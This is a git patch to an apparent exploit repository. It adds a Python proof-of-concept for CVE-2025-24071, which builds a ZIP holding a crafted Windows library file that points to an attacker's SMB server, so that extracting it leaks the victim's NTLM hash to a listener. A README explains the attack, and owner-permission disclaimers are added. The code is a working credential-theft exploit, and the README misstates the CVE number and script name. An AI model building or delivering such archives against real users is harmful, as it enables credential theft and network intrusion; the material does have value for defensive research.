From 78bdacd90dc5e9bc8805d12fb3bfc09e7c0f44a1 Mon Sep 17 00:00:00 2001 From: 0xVoodoo Date: Tue, 19 Aug 2025 12:38:44 -0600 Subject: [PATCH] Adding CVE-2025-24071 and tweaking READMEs --- CVE-2023-23752/README.md | 2 + CVE-2025-24071/CVE-2025-24071.py | 71 ++++++++++++++++++++++++++++++++ CVE-2025-24071/README.md | 20 +++++++++ CVE-2025-24071/mal.library-ms | 10 +++++ CVE-2025-24893/README.md | 2 + 5 files changed, 105 insertions(+) create mode 100644 CVE-2025-24071/CVE-2025-24071.py create mode 100644 CVE-2025-24071/README.md create mode 100644 CVE-2025-24071/mal.library-ms diff --git a/CVE-2023-23752/README.md b/CVE-2023-23752/README.md index 616162e..f94cd84 100644 --- a/CVE-2023-23752/README.md +++ b/CVE-2023-23752/README.md @@ -24,4 +24,6 @@ This is basically just a parser for the JSON returned by the open API endpoints, # License GPL v3.0 - as all good software should be +Only with explicit permission from the target system owner. + Remember - don't be a skid :) diff --git a/CVE-2025-24071/CVE-2025-24071.py b/CVE-2025-24071/CVE-2025-24071.py new file mode 100644 index 0000000..0cc4b4b --- /dev/null +++ b/CVE-2025-24071/CVE-2025-24071.py @@ -0,0 +1,71 @@ +from os import rename +from os.path import isfile +from zipfile import ZipFile +import xml.etree.ElementTree as elementTree +import argparse + +#pretty colors :) +RESET = "\033[0m" +RED = "\033[31m" +GREEN = "\033[32m" +YELLOW = "\033[33m" +BOLD = "\033[1m" + +def findLib(library): + if not library.endswith(".library-ms"): + library = library + ".library-ms" + + if isfile(library): + pass + else: + try: + rename("mal.library-ms", library) + except (OSError, PermissionError, IsADirectoryError) as error: + print(f"{BOLD}{RED}[-]{RESET} Error renaming library!") + raise SystemExit(error) + + return library + + +def malLib(library, server): + contents = elementTree.parse(library) + root = contents.getroot() + + nameSpace = root.tag.split("}")[0].strip("{") + elementTree.register_namespace('', nameSpace) + + for element in root.iter(): + if element.tag.endswith("url"): + element.text = "\\\\" + server + "\\shared" + contents.write(library, encoding="utf-8", xml_declaration=True) + +def mkZip(library, filename): + if not filename.endswith(".zip"): + filename = filename + ".zip" + + with ZipFile(filename, "w") as malZip: + malZip.write(library) + +if __name__ == "__main__": + parser = argparse.ArgumentParser(prog='CVE-2025-24071.py', + description='This is a PoC for CVE-2025-24071, a bug in Windows Explorer that allows for NTLM hash disclosure via crafted archives.', + epilog='PoC by 0xVoodoo - Don\'t be a skid :)' ) + parser.add_argument('-s', '--server', required=True, help='Target IP/URL') + parser.add_argument('-f', '--file', required=True, help='Output file name') + parser.add_argument('-l', '--library', help='MS Library file name (default mal.library-ms)') + args = parser.parse_args() + print("===CVE-2025-24071 PoC by 0xVoodoo===") + + if args.library: + library = findLib(args.library) + else: + library = "mal.library-ms" + + print(f"{BOLD}{YELLOW}[*]{RESET} Modifying library") + malLib(library, args.server) + + print(f"{BOLD}{YELLOW}[*]{RESET} Creating ZIP archive") + mkZip(library, args.file) + + print(f"{BOLD}{GREEN}[+]{RESET} ZIP archive created:", args.file) + print(f"{BOLD}{YELLOW}[*]{RESET} Deliver the ZIP archive and start responder") diff --git a/CVE-2025-24071/README.md b/CVE-2025-24071/README.md new file mode 100644 index 0000000..8296789 --- /dev/null +++ b/CVE-2025-24071/README.md @@ -0,0 +1,20 @@ +# CVE-2023-24071 - Windows Explorer NTLM Hash Disclosure + +This exploit abuses the way Windows Explorer handles library files that have been extracted from an archive (.zip, .rar, etc.). +When an archive containing a library is decompressed, Explorer will automatically attempt a connection to the URL specified in the library. + +This means that we can set up responder and listen for a connection back to our fake SMB server, disclosing the hash of the user who extracted the archive. + +User interaction is required as the archive file must be opened for the connection to be made. + +# Usage + +CVE-2025-2401.py -s -f +\-l Renames the library file (default mal.library-ms) + +# License +GPL v3.0 - as all good software should be + +Only with explicit permission from the target system owner. + +Remember - don't be a skid :) diff --git a/CVE-2025-24071/mal.library-ms b/CVE-2025-24071/mal.library-ms new file mode 100644 index 0000000..bdb648d --- /dev/null +++ b/CVE-2025-24071/mal.library-ms @@ -0,0 +1,10 @@ + + + + + + example + + + + diff --git a/CVE-2025-24893/README.md b/CVE-2025-24893/README.md index f0b4586..12b0fb1 100644 --- a/CVE-2025-24893/README.md +++ b/CVE-2025-24893/README.md @@ -8,4 +8,6 @@ The vulnerable endpoint here is: # License GPL v3.0 - as all good software should be +Only with explicit permission from the target system owner. + Remember - don't be a skid :)